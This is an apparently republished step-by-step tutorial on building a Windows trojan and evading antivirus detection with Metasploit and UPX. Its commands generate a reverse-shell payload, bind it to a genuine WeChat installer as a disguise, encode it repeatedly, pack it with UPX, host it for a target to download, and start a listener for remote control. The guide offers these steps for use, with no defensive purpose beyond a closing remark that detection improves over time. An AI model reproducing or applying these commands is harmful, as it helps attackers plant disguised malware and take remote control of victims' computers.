How to Bypass Antivirus Detection with Metasploit and UPX: A Step‑by‑Step Guide

This article explains how to create a Windows trojan, host it on a Kali Apache server, test its detection with VirusTotal, apply Metasploit encoding and UPX packing to evade antivirus software, and set up a listener for remote control.

MaGe Linux Operations
MaGe Linux Operations
MaGe Linux Operations
How to Bypass Antivirus Detection with Metasploit and UPX: A Step‑by‑Step Guide

"Immune evasion" (免杀) refers to techniques that prevent antivirus or anti‑spyware programs from detecting malicious payloads, often by altering their signatures while preserving functionality.

1. Bare Trojan Attempt

This approach generates a trojan without any evasion processing.

Use msfvenom to create a Windows meterpreter payload named weixin.exe:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.132 LPORT=8888 -f exe > weixin.exe

Deploy Apache on Kali, place weixin.exe in /var/www/html, and let the target download it via http://192.168.111.132/weixin.exe. The file is flagged by AV.

Before delivery, test the file on VirusTotal, a free multi‑engine scanning service.

2. Metasploit Encoding

List available encoders with msfvenom -l encoders and choose a legitimate executable (e.g., the genuine WeChat installer) as a template for binding.

Generate a reverse‑shell trojan, bind it to WeChatSetup.exe, and encode it with x86/shikata_ga_nai twelve times:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.111.132 LPORT=9999 -e x86/shikata_ga_nai -x WeChatSetup.exe -i 12 -f exe -o /root/WeChatSetup1.exe
-e specifies the encoder. -x specifies the template executable. -i specifies the number of encoding iterations. -f specifies the output format; -o specifies the output path.

Place the resulting file on the Apache server, let the target download it, and start a Metasploit handler:

use exploit/multi/handler set payload windows/shell/reverse_tcp set LHOST 192.168.111.132 set LPORT 9999 run

3. UPX Packing

UPX can compress or pack an executable, altering its signature. Use it to pack the previously encoded trojan:

upx /root/WeChatSetup1.exe

Host the packed file on Apache and establish a listener as before; a successful session demonstrates that the payload evaded AV detection.

Conclusion

Antivirus vendors continuously develop detection for evasion techniques, so methods that work today may become ineffective later.

Original Source

Signed-in readers can open the original source through BestHub's protected redirect.

Sign in to view source
Republication Notice

This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactadmin@besthub.devand we will review it promptly.

malwareMetasploitupxantivirus evasionmsfvenom
MaGe Linux Operations
Written by

MaGe Linux Operations

Founded in 2009, MaGe Education is a top Chinese high‑end IT training brand. Its graduates earn 12K+ RMB salaries, and the school has trained tens of thousands of students. It offers high‑pay courses in Linux cloud operations, Python full‑stack, automation, data analysis, AI, and Go high‑concurrency architecture. Thanks to quality courses and a solid reputation, it has talent partnerships with numerous internet firms.

0 followers
Reader feedback

How this landed with the community

Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.